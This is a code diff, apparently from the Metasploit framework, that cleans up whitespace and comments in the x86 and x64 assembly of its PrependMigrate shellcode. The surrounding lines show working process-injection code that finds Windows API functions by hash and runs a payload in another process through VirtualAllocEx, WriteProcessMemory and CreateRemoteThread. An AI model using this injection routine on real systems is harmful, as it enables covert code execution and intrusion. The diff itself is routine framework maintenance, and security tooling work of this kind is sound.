@@ -116,7 +116,7 @@ def generate(*args)
116
116
jz get_next_mod1 ; If no EAT present, process the next module
117
117
add eax, edx ; Add the modules base address
118
118
push eax ; Save the current modules EAT
119
- mov ecx, [eax+24] ; Get the number of function names
119
+ mov ecx, [eax+24] ; Get the number of function names
120
120
mov ebx, [eax+32] ; Get the rva of the function names
121
121
add ebx, edx ; Add the modules base address
122
122
; Computing the module hash + function hash
@@ -135,14 +135,14 @@ def generate(*args)
135
135
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
136
136
jne loop_funcname ; If we have not reached the null terminator, continue
137
137
add edi, [ebp-8] ; Add the current module hash to the function hash
138
- cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138
+ cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
139
139
jnz get_next_func ; Go compute the next function hash if we have not found it
140
140
; If found, fix up stack, call the function and then value else compute the next one...
141
141
pop eax ; Restore the current modules EAT
142
- mov ebx, [eax+36] ; Get the ordinal table rva
142
+ mov ebx, [eax+36] ; Get the ordinal table rva
143
143
add ebx, edx ; Add the modules base address
144
144
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
145
- mov ebx, [eax+28] ; Get the function addresses table rva
145
+ mov ebx, [eax+28] ; Get the function addresses table rva
146
146
add ebx, edx ; Add the modules base address
147
147
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
148
148
add eax, edx ; Add the modules base address to get the functions actual VA
@@ -246,15 +246,15 @@ def generate(*args)
246
246
247
247
; eax now contains the destination
248
248
; WriteProcessMemory()
249
- push esp ; lpNumberOfBytesWritten
250
- push #{ payloadsize } ; nSize
249
+ push esp ; lpNumberOfBytesWritten
250
+ push #{ payloadsize } ; nSize
251
251
; pick up pointer to shellcode & keep it on stack
252
252
jmp begin_of_payload
253
- begin_of_payload_return: ; lpBuffer
254
- push eax ; lpBaseAddress
255
- push [edi] ; hProcess
253
+ begin_of_payload_return: ; lpBuffer
254
+ push eax ; lpBaseAddress
255
+ push [edi] ; hProcess
256
256
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
257
- call ebp ; WriteProcessMemory( ...);
257
+ call ebp ; WriteProcessMemory( ...)
258
258
259
259
; run the code (CreateRemoteThread())
260
260
push ebx ; lpthreadID
@@ -264,7 +264,7 @@ def generate(*args)
264
264
push ecx ; shellcode
265
265
push ebx ; stacksize
266
266
push ebx ; lpThreadAttributes
267
- push [edi]
267
+ push [edi]
268
268
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
269
269
call ebp ; CreateRemoteThread( ...);
270
270
@@ -284,7 +284,7 @@ def generate(*args)
284
284
285
285
pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
286
286
end
287
- # Handle all x86 code here
287
+ # Handle all x64 code here
288
288
elsif test_arch . include? ( ARCH_X86_64 ) or test_arch . include? ( ARCH_X64 )
289
289
# PrependMigrate
290
290
if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
@@ -308,7 +308,7 @@ def generate(*args)
308
308
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
309
309
next_mod: ;
310
310
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
311
- movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
311
+ movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
312
312
xor r9, r9 ; Clear r9 which will store the hash of the module name
313
313
loop_modname: ;
314
314
xor rax, rax ; Clear rax
@@ -323,7 +323,7 @@ def generate(*args)
323
323
; We now have the module hash computed
324
324
push rdx ; Save the current position in the module list for later
325
325
push r9 ; Save the current module hash for later
326
- ; Proceed to itterate the export address table,
326
+ ; Proceed to itterate the export address table
327
327
mov rdx, [rdx+32] ; Get this modules base address
328
328
mov eax, dword [rdx+60] ; Get PE header
329
329
add rax, rdx ; Add the modules base address
@@ -332,7 +332,7 @@ def generate(*args)
332
332
jz get_next_mod1 ; If no EAT present, process the next module
333
333
add rax, rdx ; Add the modules base address
334
334
push rax ; Save the current modules EAT
335
- mov ecx, dword [rax+24] ; Get the number of function names
335
+ mov ecx, dword [rax+24] ; Get the number of function names
336
336
mov r8d, dword [rax+32] ; Get the rva of the function names
337
337
add r8, rdx ; Add the modules base address
338
338
; Computing the module hash + function hash
@@ -351,14 +351,14 @@ def generate(*args)
351
351
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
352
352
jne loop_funcname ; If we have not reached the null terminator, continue
353
353
add r9, [rsp+8] ; Add the current module hash to the function hash
354
- cmp r9d, r10d ; Compare the hash to the one we are searchnig for
354
+ cmp r9d, r10d ; Compare the hash to the one we are searchnig for
355
355
jnz get_next_func ; Go compute the next function hash if we have not found it
356
356
; If found, fix up stack, call the function and then value else compute the next one...
357
357
pop rax ; Restore the current modules EAT
358
- mov r8d, dword [rax+36] ; Get the ordinal table rva
358
+ mov r8d, dword [rax+36] ; Get the ordinal table rva
359
359
add r8, rdx ; Add the modules base address
360
360
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
361
- mov r8d, dword [rax+28] ; Get the function addresses table rva
361
+ mov r8d, dword [rax+28] ; Get the function addresses table rva
362
362
add r8, rdx ; Add the modules base address
363
363
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
364
364
add rax, rdx ; Add the modules base address to get the functions actual VA
@@ -462,16 +462,16 @@ def generate(*args)
462
462
call rbp ; VirtualAllocEx( ...);
463
463
464
464
; eax now contains the destination - save in ebx
465
- mov rbx, rax ; lpBaseAddress
465
+ mov rbx, rax ; lpBaseAddress
466
466
; WriteProcessMemory()
467
- push rsp ; lpNumberOfBytesWritten
468
- mov r9, #{ payloadsize } ; nSize
467
+ push rsp ; lpNumberOfBytesWritten
468
+ mov r9, #{ payloadsize } ; nSize
469
469
; pick up pointer to shellcode & keep it on stack
470
470
jmp begin_of_payload
471
471
begin_of_payload_return:
472
472
pop r8 ; lpBuffer
473
- mov rdx, rax ; lpBaseAddress
474
- mov rcx, [rdi] ; hProcess
473
+ mov rdx, rax ; lpBaseAddress
474
+ mov rcx, [rdi] ; hProcess
475
475
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
476
476
call rbp ; WriteProcessMemory( ...);
477
477
@@ -483,7 +483,7 @@ def generate(*args)
483
483
mov r9,rbx ; shellcode
484
484
mov r8, rcx ; stacksize
485
485
;rdx already equals 0 ; lpThreadAttributes
486
- mov rcx, [rdi]
486
+ mov rcx, [rdi]
487
487
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
488
488
call rbp ; CreateRemoteThread( ...);
489
489
0 commit comments